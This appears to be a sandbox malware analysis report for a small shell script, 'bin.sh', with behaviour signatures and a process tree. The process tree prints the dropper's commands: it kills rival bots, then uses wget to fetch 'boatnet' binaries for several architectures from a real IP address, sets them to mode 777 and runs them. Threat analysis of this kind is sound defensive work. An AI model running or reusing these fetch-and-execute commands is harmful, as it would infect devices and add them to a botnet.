Overview

overview

7

Static

static

1

bin.sh

ubuntu-18.04-amd64

7

bin.sh

debian-9-armhf

7

bin.sh

debian-9-mips

7

bin.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    3s
  • max time network
    144s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260126-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29/04/2026, 12:18

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General

  • Target
    bin.sh
  • Size 321B
  • Sample260429-pgvbcsfw9m
  • SHA256 8a559ab8f2cc7f4c0c52fb78beeecdb9995227ffbd766f4ff8e82721fe7b4438
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 2 IoCs
    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bin.sh
    /tmp/bin.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /usr/bin/pkill
      pkill -9 -f boatnet
      2⤵
      • Reads CPU attributes
      • Reads runtime system information
      PID:644
    • /usr/bin/pkill
      pkill -9 -f rage.bot
      2⤵
      • Reads CPU attributes
      • Reads runtime system information
      PID:654
    • /usr/bin/wget
      wget http://176.65.139.69/hiddenbin/boatnet.x86 -O boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:665
    • /bin/chmod
      chmod 777 boatnet.x86
      2⤵
      • File and Directory Permissions Modification
      PID:672
    • /tmp/boatnet.x86
      ./boatnet.x86 rage.bot
      2⤵
        PID:673
      • /usr/bin/wget
        wget http://176.65.139.69/hiddenbin/boatnet.x86_64 -O boatnet.x86_64
        2⤵
        • Writes file to tmp directory
        PID:675
      • /bin/chmod
        chmod 777 boatnet.x86_64
        2⤵
        • File and Directory Permissions Modification
        PID:677
      • /tmp/boatnet.x86_64
        ./boatnet.x86_64 rage.bot
        2⤵
          PID:678
        • /usr/bin/wget
          wget http://176.65.139.69/hiddenbin/boatnet.mips -O boatnet.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:680
        • /bin/chmod
          chmod 777 boatnet.mips
          2⤵
          • File and Directory Permissions Modification
          PID:686
        • /tmp/boatnet.mips
          ./boatnet.mips rage.bot
          2⤵
          • System Network Configuration Discovery
          PID:688
        • /usr/bin/wget
          wget http://176.65.139.69/hiddenbin/boatnet.mpsl -O boatnet.mpsl
          2⤵
          • Writes file to tmp directory
          PID:690
        • /bin/chmod
          chmod 777 boatnet.mpsl
          2⤵
          • File and Directory Permissions Modification
          PID:697
        • /tmp/boatnet.mpsl
          ./boatnet.mpsl rage.bot
          2⤵
            PID:699
          • /usr/bin/wget
            wget http://176.65.139.69/hiddenbin/boatnet.arm -O boatnet.arm
            2⤵
            • Writes file to tmp directory
            PID:702
          • /bin/chmod
            chmod 777 boatnet.arm
            2⤵
            • File and Directory Permissions Modification
            PID:709
          • /tmp/boatnet.arm
            ./boatnet.arm rage.bot
            2⤵
            • Writes file to tmp directory
            PID:711

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              boatnet.x86
              • Path /tmp/boatnet.x86
              • Size 68KB
              • SHA256 02e54b01bd57ae3d3ca09871a4766b89b032c3e2b4654cf69cbba430854d5337
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              bot.log
              • Path /tmp/bot.log
              • Size 51B
              • SHA256 ca9028db23658ea3c2dc20afa5f24168e437fe97c09874b54964cce44f0d5631
              • MD5 SHA1 SHA512 TLSH
              Submit Download